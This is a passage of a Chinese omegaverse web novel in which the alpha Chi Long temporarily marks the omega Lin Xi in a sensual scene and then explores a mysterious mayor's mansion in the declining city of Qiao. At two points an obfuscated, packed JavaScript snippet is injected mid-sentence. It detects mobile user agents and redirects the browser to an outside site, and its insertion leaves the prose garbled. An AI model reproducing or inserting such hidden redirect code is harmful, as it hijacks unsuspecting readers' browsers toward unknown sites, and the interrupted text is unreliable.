打定主意等林息来找她的时候再详细问问,池泷先回到房间快速洗了个澡,换上干净的外衣躺在床上摆弄光脑,大约一个小时后,听见敲门声,她刷得从床上跳起来,抓了两把头发去给林息开门。 门外的林息依旧是伪装后的模样,穿着和自己一样由郝警官准备的米白棉布睡衣,看上去像迷了路的小奶羔。 空气中,沉香的崖柏味道若有若无。 池泷愣了一下,侧身让开让他进来,心中默默流泪,不知道林家是真的没给孩子普及过性别知识还是他真的好信她,晚上直接穿着睡衣来alpha房间真的没事吗! 进门后林息先打量了一下池泷的房间,然后仿佛在自己的房间一样,自然地走到床边坐下,朝着还在门边局促不动的池泷招手,看上去一脸灿烂:“来啊,不是要帮忙吗?” 重重攥了一下手掌,池泷走到林息身边坐下,清醒时刻的亲热让她更加清醒地意识到两人认识只不过才两天,此刻尴尬相比胡思乱想,占据了上风。 只能强制自己不断想着临时标记的教程,池泷心里怕不成功,还怕弄痛他。 反倒是林息看她一直没动作,好像有些不耐烦,直接起身坐到池泷的腿上,胳膊搂住她的肩膀,把后颈完全暴露在池泷眼下。 一下子,崖柏的味道比开始闻到的更加清晰。 他没有什么重量,池泷的大腿却更加紧绷,不断鼓励自己“眼睛一闭一睁,这事儿就过去了。” 第一次帮人做标记,池泷没有经验,用手轻轻揭下附在腺体上的隔离贴,崖柏的清香直接扑面而来,她下意识贪婪地吸入林息的味道,急速上头。 莫名的饥饿感让她不禁咽了咽口水,眼前闪过小东西曾经青紫磋磨的样子,一激灵直接虎牙咬了上去,牙齿解除皮肤的一瞬间,柔软的触感挑起一种暴虐感,池泷尽量稳住心神,按刚才复习的那样缓缓注入自己的信息素。 感觉到怀中人的身体逐渐变得软绵绵、湿润润,双臂无意识收紧,池泷的思绪也越飘越远,她能感受到自己的信息素正在叫嚣着要马上进入这具身体,一刻不停地去侵略他、占有他、填满他,让他成为自己的附属物不能离开。 控制与温软并存,暴戾和炙热交合,池泷感觉自己没有任何阻碍地探索着林息身上的每一处,在他最秘密最隐私的角落里猖狂地打上自己烙印。 这种感觉,太令人上瘾。 不知过了多久,耳边传来啜泣,怀中轻微的反抗,让池泷的理智逐渐回笼,直到忽然想起怀中的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564904|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁,她刹时瞪大眼睛,马上强制自己抬头离开。 等回过神来,池泷发现自己的肩膀一片湿热,手臂正死死箍住林息,听他在耳边急促喘息。 尽管气息不断吹在脖子上,但极高的体温感觉不它的湿热,反而是迟来的生疼让她出了一身汗。 “对、对不起”,低哑的声音吓了池泷一跳,她想放开林息,一转头却发现他的手正无力垂在两侧,池泷只好将他公主抱起放在自己床上,拿起被子准备盖住,眼尖地看到他双股之间有一片深色的阴影。 没敢仔细看,池泷连滚带爬地跑出房间,去隔壁衣柜翻找出一条林息的睡裤,轻手轻脚地拿回去,进门就看见林息正侧躺在床上,虽然额上的碎发被打湿,零乱地粘在额前,看起来有些狼狈,但神色却好整以暇,望着鬼祟的自己 此时他眼圈和双颊微微泛红,但呼吸平复了不少。 或许是池泷狼狈的样子很有趣,他无声笑了起来,隐约能看到微微张开的唇齿里那条粉色的舌头,池泷想,她好像知道那是什么味道。 接着嘶了一声,一声“疼”被她压了回去,裤子太紧果然不利于健康。 将睡裤放在床上,她拿起衣柜里自己的睡衣去隔壁又洗了个澡。脸直接迎着花洒的冷水,身体和心情都平复了许多,她暗暗回想,越想越尴尬,自己刚才跟个流氓一样。 再次回到卧室,发现林息正躺在自己的被窝里看光脑,微微湿润的头发说明他应该已经清洁过了,屋子里一股氤氲的崖柏香气,将换下来的外衣放下,池泷把窗户开了一条缝,转头犹豫问道:“那个……你恢复了?” 林息没抬头,随意嗯了一声。池泷更尴尬了,看他的样子,不会是刚才技术不到位哪里不舒服吧,她有点绝望。就在此时,林息朝她扔了一个东西,池泷伸手接住,发现是一管药膏。 “又咬肿了,过来上药,我看不见”,林息背过身坐好,池泷赶紧走过去看了一眼,还好,只是轻微红肿,她轻轻松了口气,果然自己还是有点良心的,没下口那么重,但隔离贴估计暂时是贴不了了。 不过效果应该也达到了,崖柏平稳地流淌在空气中,抑制剂可以停了。 拿棉棒蘸了一点药膏,池泷给他轻轻擦拭,看着逐渐泛红的耳尖,原来他也不是什么感觉都没有的,池泷心里觉得有点好笑,第一次觉得林息好像有点可爱。 “药膏哪里来的?”药膏气味清新,一闻就是好东西。 一边擦药一边闲聊,也正好可以分散注意力。 “找人提前配的,来这儿前就拿上了,”林息的声音听上去还有一点沙哑,带着一点笑意,“吃一堑,长一智。” 擦药的手顿了顿,脸上热气上涌,池泷转移话题,问起林息方才他送娑利姌回房发生了什么。 林息想了想,回道:“没什么,扶着她躺下后我准备关灯离开,临走前她又抓了一下我的手,很快就放开了。” “没说什么吗?”池泷期待地问道。 “这个奶奶还会说话吗?”林息好像有点吃惊,“她一直盯着我,但从没说过什么,我还以为……” 池泷有点奇怪:“一直盯着你?”。 林息点点头,发尾粘上了一点药膏,“对,从我进门、吃饭,直到刚才,她一直盯着我,一开始我以为她有什么话要说,最后却只捧住我的脸,我也挺吃惊的,但更意外的她竟然还听我的话。” 将发尾的药膏用手轻轻抹去,池泷看到林息缩了缩脖子,又忍不住地咧开嘴角,原来他还怕痒。 药膏收好,池泷将它递还给林息,林息拽住她的袖口,池泷顿住,这个动作就像自己正在从背后轻轻环抱着他。 从后面池泷能看见林息拿着药膏在手心随意把玩,但他问得却挺正经:“她不是委托人吗?有什么问题让你这么关注。” 轻挑眉头,池泷寻思他知道得还挺多。又想起他晚上说的要帮忙,池泷犹豫了一下,干脆从他手里扯回袖子坐到床边,将自己来到乔城后遇到的事都大致说了一遍。 拿起光脑,池泷找到尹霄发来的资料给林息看:“我来的第二天,找朋友帮我做了一些调查,星际44年后,乔城被部分重建,对比46年后的城市概览图,主要是在米斯·埃德尔的带领下,大部分矿坑及建筑残骸都被填埋,而事故矿坑建成了钟楼,新建警察局、医院、养老院,改造了图书馆、市长府,由于还没建完就被央星召回,这处冶炼工业区直接被当做垃圾场封闭废弃。” “而后……王室主持修建了公墓。”池泷说这话的时候,不知道为什么有些犹豫。 “我只是听别人提过一嘴,那场事故是因为当时的市长夫妇在月轨即将建成之际,为了邀功特地去矿洞访问拍照,结果没想到矿洞没有让人例行检查,导致坍塌。”林息态度自然,一边拨弄着池泷的光脑,一边感慨。 干脆将自己的光脑递给他,任他翻阅,池泷继续说:“嗯,引铁的上报者也是他们。艾达·索尔,也就是娑利姌的alpha伴侣,正好是市长夫妇的朋友,引铁上报后,他们拜托了他作为地质顾问指导乔城进行矿藏开采冶炼。” 这是池泷从图书馆的一份报纸上看来的,上面还有艾达在矿洞视察的照片,是名文质彬彬的清瘦男子。 “这场事故可以说是乔城由盛转衰的转折点,市长夫妇、娑利姌唯二的家人、还有数不清的工人和前来观看矿洞的omega居民,他们大多是工人家属,都未能生还,据说当时因为尸骨太多捡不过来,只留下了名字就被直接掩埋,这也是纪念公墓的来源。” 说到这,池泷有点感慨,到底死去了多少人连乔城都没有具体的记录,但从她去过的那座公墓来看,留名的就不在少数,可那些没留名的不知道还有多少呢。 “看起来这一个周的书没白读,”林息忍不住打趣。 池泷不好意思地笑笑,乔城的图书馆没有连接星网,其实她看的书,也只是在外界关于乔城的记录上,了解了更多细节。比如:那张星际44年之前的城市概览图。 正在这时,林息突然说:“米斯·埃德尔,埃德尔这个姓氏……我似乎听过。” 池泷激动地看向林息,他不急不缓:“建筑院创始人之一的一位得意弟子就姓埃德尔,据说他是一位极具天赋的建筑设计师,年纪轻轻,成绩斐然,央星军校就出自他手,以他为开端,埃德尔家族一度成为建筑院的掌舵人。” “那就是贵族了。”池泷沉思,当年竟然能派遣贵族来参与乔城重建? 林息点头,“曾经是贵族。据说他们子孙不沛,为此还收养了许多族外的孩子培养,但还是逐渐没落,尤其是二十年前左右,驱逐过一位据说极富才华的弟子,家族更是快速地走向下坡路,因此心灰意冷,后来更是举家离开了央星,不知道去了哪里。当然,这是书面上的说法。” 手指点了点光脑上“米斯·埃德尔”这个名字,林息缓缓说道:“说不定这就是那个弟子。因为很多人不知道,大概也是那时,埃德尔家族不知道因为什么触怒了陛下,她下令将其相关的资料全部封锁,只保留一本记录他们所造建筑的册子,放在王宫书库里,一般人看不到。” “但历史最奇妙的地方就在于,扭曲它不仅要更改书面,还要当时听过看过的人都封眼闭嘴,只要有一字书写、一人记得,就会成为掀翻虚假的一角。”林息嗤笑,“我祖父是当时的内阁成员,他跟我感慨过这件事,但语焉不详,我记住的只有这些。” 他看向若有所思的池泷:“不过你不是来找‘乔丽’的吗?怎么总是查这些陈年旧事。” 虽然内心纳罕他知道的也太多了,但池泷也没隐瞒:“一开始我也觉得有点偏题,但在这儿的一个周,我亲眼所见、亲耳所闻、亲身所感的,都跟我在星网上看到的都不太一样。” 她打开光脑的图库,里面是很多乔城景色的照片,还有几张郝警官、娑利姌和偷拍老人洒扫修书的照片,“我就是觉得,如果注定有一天要被遗忘,不妨了解的多一点,至少我还能记一天,然后再记一天,再记一天,他们就多活了一天。” “再说,烟花升空绽放之前,总是要先点燃细小的火线,”池泷极为乐观:“万一我调查的这些东西最后拼拼凑凑,就能成为找到‘乔丽’的引线呢。” 看着她温和认真的眉眼,林息眼神逐渐变得复杂,正当池泷以为他还要说些什么的时候,他却迅速低头掀开被子,把自己塞进了池泷的被窝。 “……?”池泷疑惑。 7. 第 7 章 池泷起床的时候,林息还没醒,她悄悄起身拿着衣物去隔壁洗漱。 昨晚林息坚持要睡在她这里,孤A寡O的,池泷不太情愿,然而对方一句“发热期omega对alpha产生生理和心理依赖这个常识,你姐告诉过你吧”,将池泷挣扎的心思彻底压死。 “帮人帮到底,送佛送到西”,本着这样高尚的心意,池泷让他睡在了床上,自己去隔壁拿了另一床被褥打地铺,想着明天一定要在郝警官来之前早起,不能让他知道他俩共处一室,对“小林”的声誉不好。 当然,以前出去做委托也风餐露宿过,打个地铺而已,完全不会影响池泷的睡眠质量,甚至感觉比往日还要好睡了一些。 唯有一点,因为房间里多了一个人,池泷难免拘谨。虽然没什么坏心眼,但心里总觉得不够“合情合理”。 结果导致她起床时天才微微亮,定好的体感闹钟都还没响,看了看光脑,才早晨4点多。 可能过于高级的睡眠质量和alpha体质并没有让她觉得有多疲惫,尤其是早晨一醒来房间里,全是崖柏的味道,更加提神醒脑。 冲了个澡,池泷穿戴洗漱完毕,准备去楼下做个早餐,开门时背后吹过一阵凉风,池泷转头看了看,原来是房间的窗户大敞,晨风凉爽。 池泷走过去将窗拴住,摸到凉渗的窗框,她忍不住怀疑,难道昨晚下半夜风很大,把窗户吹得这么开吗?而且睡前她来回了好几趟,印象中窗户一直是关上的。 但昨晚的细节并没记得有多清楚,池泷探头往外看了看,依旧是风和日丽、夏天虽热但也比其他地方凉快、普普通通的乔城,街上没有任何人,连风都是纯净的味道。 做了三人的早餐放在保温机里,池泷顺手打扫了一下卫生。 然而打扫完,其他两人也都没起,她干脆就坐在沙发上给尹霄发消息。 昨夜林息有句话让她感觉到不对劲,他说历史总会以各种形式留存。 可池泷想了想,月轨的故事里,乔城的每一个人都有来处或者归宿,可唯有两人像一对过客,不论是外界还是图书馆里对二人的记录寥寥,在郝警官的描述里甚至都不曾被提起。 市长夫妇,月轨项目的打头人、矿场事故的引发者,在乔城拥有一座府邸,养老院里满满当年的见证者。 没人知道他们的生平、名字,他们是对星联有功的英雄,也是乔城衰落的始作俑者,可星网上只提了一句好大喜功,来这以后,池泷也从未听过乔城居民之间流传他们的事迹,或者唾骂他们的作为。 难道是所有居民都对他俩不爱不恨、毫不在意吗?明明他们都那样在意这座城市。 所以池泷想拜托尹霄,是不是能通过一些特殊的手段搜到相关信息。 想到这,池泷手指忍不住敲了敲屏幕,昨晚考虑到林息的立场,她隐瞒了很多事。尤其听到他昨晚的那番话,她只觉得心中更是沉甸甸的。 虽然自己一开始只是为了委托和对郝警官他们的敬意,去了解乔城的事情,可自己的见闻总让她忍不住想“这样好的人和城凭什么受到此等不公的待遇”,而林息的话更让她进一步多心,隐隐觉得这件事中,或许存在某处跟央星脱不开关系。 可跟央星脱不开关系的事,自己要不要掺和?池泷十分纠结,毕竟她更想顺利毕业、远离中央、安安稳稳过一辈子哎。 发消息时,池泷突然发现自己光脑里多了一个联系人,头像是光脑的初始默认头像,“LX”的缩写让人一看就知道这人是谁。 可能是昨晚给他看资料的时候,他给自己加上了好友。 明明林家随便就能找到自己,就像这次。加好友这件事怎么看都有点多此一举。 但池泷看着那个头像,心里还是泛起一点说不清道不明的感觉。就好像光脑里的平面人物突然变得立体,或者说就像应该平行的两条线突然有了一个交点。 “仅此而已”,池泷在心里默默告诫自己。 她习惯性地把联系人用真实姓名备注,刚打上“linx……”,楼梯口传来动静,池泷随便摁了确认,转身看去,果然这个点儿是娑利姌醒了,正准备上二楼。 赶忙走过去扯住这位老人家,总不能叫她上去看见林息睡在自己屋子里吧。 “您要做什么,小林还在上面休息。”池泷很无奈,好声劝阻道。 娑利姌慢慢转头看向她,扯了扯胳膊,看起来很坚持。 池泷瞬间有种牙疼的感觉:“您还是别上去了,我做了早饭,先吃饭,吃完他就下来了。” 然而娑利姌只是把头再次转了回去,扯不动胳膊,反而抬起腿就要往上迈。 说真的,池泷很少见到娑利姌有这么固执的时候,她很少去在意操心什么,这次却意外坚持要去楼上。 感觉到手中不断拉扯的力度,池泷也不敢轻易用力,她迅速安慰道:“昨晚我俩回来后又说了会话,都睡得挺晚的,而且他昨天一路奔波,估计挺累的,我早晨看了看,睡得很香,让他多休息一下吧。” 这时娑利姌却听进去了,因为池泷听到她好像喃喃了一句:“好……”,人也渐渐平静,又恢复到往日慈祥微笑的安静样子。 拉着她去吃饭,池泷不仅感慨林息的魅力之大,也是意外之喜,平日里很少说话的娑利姌,竟然为了他开口,还一而再再而三地做出异于日常的举动。 心下好笑,难道是因为难得有一个omega来乔城?池泷看着乖乖吃饭的娑利姌,很快陷入沉思。 给林息留了饭在保温机,光脑上留言告诉他,自己今天打算去市长府。 等娑利姌吃过饭,池泷就像往常一样背起包送她去车站。然后才去的市长府。 虽说是市长府,但里面早已没有人居住办公。作为那位恃才傲物的建筑师的作品之一,同图书馆的精妙温柔不一样的是,市长府十分平凡。 整座房子分成左中右三部分,只有两层,灰白色的墙体,唯一的精致之处,是同色古朴的欧式构件组成了房体外围边缘的装饰,门口的两根石柱较细而且简单,半点没有领导者居所的气派。 如果不是指南上确实说这里是市长府邸,外面看起来它也就比普通民居,面积大一点、样式好看一点、颜色冷一点、柱子多一点而已。 更神奇的是,池泷很轻易就推开了卡棕色的木质大门,大厅空荡荡,墙壁空白无物,只有代表乔城的城徽挂在正对门口的两扇彩玻窗户中间。 城徽,池泷也在图书馆读到过,不知由谁设计,但在月轨项目开始时就像太阳一般已经悬挂在乔城最高处。 它的灵感也确实是出自太阳,几种深浅不一的黄色细线填充了标准的圆形背景,金色丝线拧成的一股股粗线编织了耀眼张扬的火焰纹路,最后是一副纯黑线绣,映在这轮太阳的中心,纹案像“┌”,但竖折顶部还有一个小黑点,据说这个符号代表传奇的引铁。 永浴光辉、灿烂明朗。这是它的含义。 池泷第一次看见实物,除了市长府,乔城其他地方都看不到这个标志。亲眼所见才发现它原来如此耀眼,哪怕只是针线编制的太阳似乎也照亮了府邸的大厅,让人看了心胸开阔。 但走近的话,这个城徽看起来格外奇怪。池泷仔细观察了一下,发现它很新,编制用的丝线和背景的布料没有任何破损及磨毛。 和整个乔城都不一样的、格格不入的新。 很奇怪。池泷心中种下疑惑,她四周打量了一番,房子两侧各有一扇掉漆的木门,除此之外,确实没有什么了。 毕竟不是真的太阳,城徽虽然照得亮却照不暖,长期的无人居住让脚下的大理石地面持续散发着冰冷气息,池泷跺跺脚,不禁叹了口气:“这地方估计连个老鼠都不会有。” “当然没有,我们会定期维护的。”拐杖声从前方左侧传来,城徽左边的木门被打开,出现一个人,是那天池泷在公墓遇见的老人。 真巧啊,池泷两眼放光,或许因为他是池泷第一个见到并聊天的、跟委托无关的本地老人家,尽管只见过一面,可她对这位老人家有种天然的亲近感。 反而老人家看到她,看起来端庄温柔的知识分子脸上充满嫌弃:“怎么又是你?” “缘分啊老人家,很高兴又见面了。”愉快摆摆手向他打了个招呼,池泷走到他跟前。 走近才发现跟上次相比,他好像消瘦了一些,衣服仍旧是上次那套,整个人却比上次邋遢了不少,贝雷帽下压着零乱的短发,衣服也有些褶皱。 上次见面之后,池泷只是心中默默猜测他是住在养老院里的那一批人之一,只不过没有在当年受伤。这次听他说维护,她才确定他应该就是其中一位事故经历者。 于是她客气地询问:“老人家今天有时间吗?我还有好多事想跟您咨询一下。” 没想到老人直接拿起拐杖朝小腿打了过来,池泷不费力地就躲开了,抬头疑惑地看着他。 收回拐杖的老人家哼了一声:“天天没点正经事在城里瞎溜达,说了不要麻烦老年人,还不听。” 池泷忍不住道:“您倒是有正经事,还能天天关注我到处闲逛。” 没好气地用手指隔空轻轻点了几下池泷,老人家问:“今天又来这儿干什么,图书馆还不够你看的。” 听到这话,池泷也正经了一些,其实刚才看到老人的时候,她的确挺高兴的,因为上次的交流她还有些疑惑的地方,确定他是亲历者之一,更自然而然地产生了想多问点什么的想法。 但同时,她不知道该不该询问眼前的老人关于市长的事,那毕竟牵扯星际44年的乔城之殇,虽然过去了四十多年,可连郝警官这样“年轻的人”,都尚未走出这片阴影。 可能是她犹犹豫豫的样子实在招人烦,老人不耐:“问问问,赶紧。” “嗯……我就是想问问上次见面时您说‘乔丽’是个‘奇奇怪怪的玩意儿’”,看着老人若有所思的目光,池泷话到了嘴边,开口却是:“您知道它?它不是人?” 问完以后,老人拐杖皱起眉头,看起来有点不可置信:“就问这个?”池泷一愣,随即看见老人突然又缓和了神情,“反正不是人,这里从建城开始就没有姓‘乔’的人。” “您确定吗?”池泷忍不住问了一句,毕竟警局那边也只有不到四十年的记录、 老人瞪了池泷一眼,似乎对她的怀疑很不满,声音抬高:“当然确定!”说完开始咳嗽。 池泷想上前帮他拍拍后背,却被老人伸手制止。 “我们都不是正儿八经的星际人,”气喘匀后,老人瞥了池泷一眼,“祖辈流落到这里,四散为家,后来集中起来,取了‘乔’字作为城名。” 他转身看向城徽:“乔为高,站得高,离太阳近,望得远,能有个好前景。”说到这,他禁不住叹了口气,“所有人都约定,不用这个字起姓命名。因为城再高,底下也得有千千万的人撑着,谁也不能高过这里。” 说完,老人停住不语,池泷没接话,她想,如果没有那场意外,或许这个愿景就成真了。 静静等了一会儿,老人转过身来,池泷突然发现,他的眼睛变成了宝石般水润的墨绿。 似乎是察觉到池泷的目光,老人立马把脸垂向地面,拄着拐杖一步步走向池泷,停在她身侧,拍了拍她的肩膀说:“越靠近太阳被灼伤得就越狠,站得越高成为众矢之的也越快,所以啊……” “光明也可能是骗人的。” 老人一边说着,一边径直往门口走去,池泷伸手想要抓住他,不意外听见一阵轻微风声,池泷没躲抓住了老人的袖子。 拐杖打在身上,丝毫不痛,小臂只是被轻轻碰了一下。 “哎呀你这个年轻人是真的轴,”收回拐杖的老人无奈地叹气,“好奇害死猫知不知道?” 听见这话,池泷心里马上闪过一丝别扭,而后像是在给自己找补什么一样,说:“我只是想完成委托。” 抽回衣服的老人“哼”了一声,低头整理袖口:“这个委托你就不该接,生老病死、新旧更替是自然的法则,也是社会的法则,你接一个装满将死之人的将死之城的委托,本来就是违背规律的。” “孩子,世间万物都是相互联系的,你想知道这个东西是什么、想问我那样多的事情,我却想知道、想问你,”老人将袖口摆正后,缓缓抬头,眼神中似乎藏了很多,“图书馆里的书你看了那样多,城里的事你也见了不少,难道没找到什么答案吗?” 咯噔一下,池泷只觉得自己的呼吸都顿了几秒。 看着自己映在石砖上模糊不清的身影,她又开始犹豫。 “可我仍然不知道‘乔丽’是什么。”池泷转过脸去,逃避了这个话题,“而且你又不知道,我今天来是为了什么。” “你人都在这儿了还不好猜?”再次叹了口气,老人手指再次摸了两下袖口,但是过去留下的和刚揪起来的纹路并没有那么好抚平。 池泷知道,那是老人的衣服布料很差的缘故,这种已经是“纺织垃圾”的淘汰产品,在他身上却洗得有些发白。 “算了,”不知道是说袖口的皱纹还是别的,老人自嘲地笑笑,用手指了指墙壁两边,“城徽左右各有一扇门,里面放着不同的东西,但是,两扇门不能被同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564905|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开,并且一扇门打开后,另一扇除非有钥匙,不然就会一直封闭。” “你想问的、想知道的,有一部分就在这某扇门里。”拐杖咚咚地敲击了三下地面,“你选吧,看神想让你知道什么。” 说完老人头也不回地走向门口,声音逐渐飘远,但在空旷的大厅里听起来仍旧清晰。 “别问我为什么搞这出儿,为什么不直接告诉你,为什么说些奇怪的话,年轻人总是有那么多为什么。”富有节奏的咚咚声也逐渐飘远,“我说的你都爱信不信,如果还能有机会,下次见面时我再告诉你别的。” 原地站了一会儿,池泷的脑海中闪过许多画面,她烦躁地摇摇头,好像这样就能将这些有的没的全都甩出去。 一方面,她听到了老人的警告,口口声声,都在说无论是敷衍的墓碑、市长夫妇的消失,还是自己的委托,好像都有猫腻。 况且市长府如此焕然,不问也知道,这里的居民对这对让乔城陷入如今不公局面的“罪人”并不痛恨,不然何苦去擦拭维护他们留下的东西呢? 所以说,猫腻绝对不小。比如和自己怀疑的一样:牵扯到央星。 可平心而论,她只是想完成委托,而对市长府的调查是无从下手的情况下,能找到的线索之一。自己不调查,又不能再去跳水,那还要从哪里入手? 如果这个委托会对央星不利,央星凭什么会让它在星网上悬挂至今呢?清理一个委托和清理无数的可能知情者,央星还是能分得清哪个成本更低些的。 出于好意,她想力所能及地为乔城留下一些东西作为纪念,没有别的心思,触碰到禁区的可能性小之又小。 而且刚才老人的话也具有一定的偏向性和指向性,尽管他真的很容易让人相信,可毕竟只见过两面,两人不算熟悉,他那么聪明,连自己来这里找什么都知道,那知道自己因为这么多天的相处,对乔城产生感情,进而引导自己对央星有所怀疑不也是轻而易举? 因此没有证据的前提下,任何对于结果的判断都是武断的……吧? 不然直接告诉自己答案不就都好了吗? 奇怪的一阵拗劲儿上来,池泷赌气地选择忽略这个警告,决定先选上一把。 就像老人说的,交给神好了。 老人说的就是一开始池泷看到的那两扇门,右边的那扇木门和左边相比显得更破旧些,打眼一看就能清晰看见门面在彩光底下的坑洼斑驳。 池泷先朝老人出来的左边木门走去,走了几步,突然心有所感地向身后看去。 在这座城里,连绿植都有人维护,却在这里留了一扇好像从来没修缮过的门? 她返身走近细看,门身没有任何纹案装饰,黑斑遍布的铜黄色把手看起来年岁不短,从锁孔往里看,只有一片漆黑。掉落的清漆没有人弥补,靠近后能更加清晰地闻见腐败的木头味。 虽然外表不堪,可掉落部分外圈平整,没有什么刺木渣滓,整齐露出的内里摸起来平滑坚硬,整个木门和门框之间严丝合缝,把脸凑过去只能感受到很轻的空气流动。 这扇门,果然没有人维护过。没人维护却仍旧能保存得如此完好,说明当时这扇门的木材有着极高的品质,这样材质的门放在行政主体的市长府里,无非就是在保护什么。 伸手尝试拉开,池泷却发现门好像被锁上了,又使劲儿拽了拽,大门纹丝不动。 这是什么障眼法吗?池泷不解地皱眉,还是自己猜错了? 她又伸手拽了拽,门还是一点没有要被打开的迹象。 低下身去,池泷想仔细看看门锁,脸刚伸到锁扣前,一声清脆的“咔哒”声就从面前传来,听起来像是某种金属制品被掰动。 汗毛竖起,她立马向后退了几步,紧盯着眼前的木门,不出意外刚才应该是内里的锁扣被打开了,可是自己一直在外面,没有听到里面有任何生物活动的声音。 锁扣总不能就凭空打开了吧? 难道里面有人,且里面那个开门的人能力在自己之上? 在门口警戒了一会儿,却迟迟不见人从门内出来,池泷开始疑惑,自己跟刚才一样,仍旧没有听到任何声音。 她眉头紧皱,轻缓着脚步朝门口走去,走到门口时驻足了一会儿,依旧没有任何声响,她只能伸出左手缓慢握住门把,快速转动拉门。 什么也没有。 除了一条没有任何窗户的长廊。 长廊尽头,又是一扇木门。 真是见了鬼了。 廊壁上挂着几盏廊灯,灯罩发黑,似乎从未被清理过,因此灯光昏暗,只能勉强看清廊中情形,廊灯中间有几处长方形的黑框痕迹,应该是以前挂过画像照片一类的。 因为没有窗户,阳光无法照入,开门后伴随腐朽味道的凉意扑面而来。 最恐怖的是,走廊地面覆盖着一层肉眼可见的灰尘,平整、完好,没有任何被破坏过的痕迹。 池泷赶忙看向身侧被打开的木门,果然门内的锁扣被打开,她伸手去掰动,旋转丝滑,除了被反复打开的咔哒声,没有其他零碎的声响。 不信邪的她又反复测试了一下,和这扇门一样,虽然看起来破旧非常,但这种不知道用什么材质制作的门锁保存良好,运行丝滑,没有问题,池泷拽了拽,发现它紧紧卡在门里,也没有松动。 此刻池泷全身暴汗,在这个肯定不会有微型机器人的地方,她想不到其他任何合理的解释。 转头看向右边,廊底的那扇木门变得更加阴森,昏暗的走廊此刻像一只张开嘴巴等待的巨蛇,等着自己自投罗网。 要去吗?池泷开始犹豫,倒也不必为了这个委托牵扯进什么恐怖的灵异事件里吧。 要去吗?脑海里响起另一个声音,里面是什么?林息的补偿呢?要帮娑利姌找东西啊。 alpha热血莽撞的天性可能发挥了作用,池泷决定什么也不要多想,快速朝前奔跑,搅起的尘土让眼前迷蒙,鼻子忍不住发痒。 脑海里老人说“好奇害死猫”、娑利姌灰白慈祥的脸、郝警官羞涩的笑容和那个断腿的神鹰不断交替闪过,脚步却一刻不停,池泷左手捂住口鼻,右手握到把手的时候,她忍不住想“希望这次不会上锁”,下一刻门就被用力拉开。 原来是一间卧房。 走廊另一尽头,被“拽开”的木门似乎被风吹动,缓缓闭合,“咔哒”,锁扣丝滑地嵌入,发出细小的声响,扣眼完美地包裹住锁扣,40年间的每一天都是这样。 门外,被打磨得顺滑的门板在阳光下闪耀着,上面的纹路,和对面的木门如同镜面般,一模一样。 8. 第 8 章 暖黄斑驳的墙壁,无数琉璃五叶花围成了一盏美丽的玻璃吊灯,空空的欧式床架刻着复杂的蜿蜒藤花纹,四角上各竖一根藤花绕枝长杆。 左右两边各有一扇奶白木边框窗户,分别能看到府邸后面工业区外的围墙和前面街道的景象。除此之外的空间挺大,估计以前用来放柜子、梳妆台等家具。 胡桃棕橡木地板年代久远,破损的地方被不同颜色的木料填上,走两步就会发出难听的声音。 左边窗户和床架的中间,悬挂着一面椭圆壁镜,正好能映出对面透过玻璃的街景。 池泷快速检查了窗户,发现窗户都被锁上了,锁扣锈蚀得破破烂烂,轻轻一碰,竟然掉下来一块,吓得她赶紧收回手。 看到房间的一刹那,刚才发热的脑袋冷静了下来,池泷好笑地想“除非有人通过这里的窗户跑进来,不知道用了什么方法浮空通过走廊,否则怎么可能打开那扇木门呢?” 想到乔城的科技水平,池泷觉得除了“见鬼”好像真的没有什么别的解释。 不信鬼神,但敬鬼神。她坚决选择立马反手把卧室门关得严严实实。 仔细看了看空旷的房间,池泷很容易就发现了奇怪的地方。 这是一面不协调的镜子。 首先是风格,和尚存的精致家具比,它的周边是一圈铜丝交互缠绕的麻花纹路,纹路上密密麻麻拍着一圈长短不一的锯齿,有些地方磨损出一些黑色斑点,打眼一看十分剌手。 其次,街景透过窗户映在镜中或许会模糊,但在阳光如此明媚的今天,也不至于会模糊到连窗外的植物都看不清楚的地步,镜面没有任何伤痕破损,而且表面看材质倒是普通镜面没差,池泷把手贴近镜面,手和镜面的交界处格外模糊。 最后,她小心地把镜子取下,仔细看了看、闻了闻、敲了敲,并没有什么特殊的机关。她试了试镜后的墙壁,也没什么异样。 好像只是一块普通的镜子失败品。 最后她甚至轻微舔了一下,但一直看到池泷眼睛发酸,也没找到什么奇怪的地方。 难道是自己多心了? 没办法,她只能将房间又认真全面地搜索了一遍,房间边角、床架纹花、寸寸墙壁,最终,一无所获。 灰心的人一屁股坐在地板上,激起来的灰尘呛得她连连咳嗽,她无语地怀疑不会从头到尾都是自己过度脑补的想象吧? 例如刚才的自己吓自己,例如维护市长府的人其实就是单纯地恨市长夫妇、所以维护时偏偏跳过了他们的卧室? 她直觉应该不是这样。看着眼前那面嫌疑依旧最大的小镜,池泷只觉得,肚子饿了。 但肚子饿的池泷觉得自己应该赶不上回去吃午饭了。 她看了看光脑,10:45AM。阳光透过身后的窗户映射进来,在天花板和墙壁上留下几块光斑,其中隐隐漂浮的细尘在阳光底下轻盈地跳动。 乔城总是这样,一年四季的天气基本都晴朗无云,但又不会过于炎热干燥。现在是夏季,中午最热的时候也不会让人感觉暴晒,顶多比早晨更热一些而已。 “形成如此适宜人类居住的气候,正是因为它所在的位置正好被太阳偏爱着吧。”池泷漫无目的地胡想。 所以就把太阳做成了城徽,永远灿烂光明。 